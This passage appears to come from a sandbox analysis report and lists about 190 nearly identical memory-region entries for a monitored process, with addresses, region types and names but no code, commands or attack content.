pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1900 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1901 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1902 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1903 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1904 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1905 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1906 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1907 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1908 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1909 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1910 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1911 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1912 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1913 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1914 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1915 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1916 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1917 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1918 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1919 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1920 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1921 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1922 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1923 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1924 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1925 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1926 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1927 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1928 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1929 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1930 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1931 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1932 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1933 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1934 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1935 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1936 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1937 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1938 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1939 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1940 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1941 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1942 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1943 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1944 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1945 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1946 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1947 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1948 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1949 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1950 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1951 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1952 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1953 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1954 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1955 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1956 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1957 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1958 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1959 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1960 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1961 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1962 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1963 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1964 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1965 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1966 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1967 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1968 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1969 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1970 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1971 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1972 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1973 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1974 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1975 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1976 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1977 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1978 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1979 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1980 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1981 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1982 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1983 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1984 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1985 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1986 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 1987 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 1988 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1989 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1990 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1991 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1992 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1993 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1994 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1995 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1996 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1997 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1998 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1999 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2000 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2001 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2002 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2003 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2004 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2005 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2006 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2007 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2008 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2009 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2010 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2011 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2012 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2013 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2014 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2015 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2016 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2017 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2018 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2019 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2020 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2021 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2022 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2023 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2024 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2025 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2026 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2027 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2028 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2029 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2030 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2031 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2032 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2033 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2034 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2035 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2036 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2037 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2038 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2039 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2040 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2041 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2042 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2043 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2044 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2045 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2046 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2047 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2048 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2049 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2050 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2051 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2052 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2053 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2054 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2055 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2056 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2057 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2058 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2059 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2060 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2061 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2062 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2063 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2064 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2065 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2066 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2067 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2068 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2069 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2070 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2071 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2072 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2073 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2074 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2075 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2076 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2077 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2078 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2079 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2080 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2081 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2082 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2083 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2084 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2085 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2086 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2087 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2088 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2089 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = 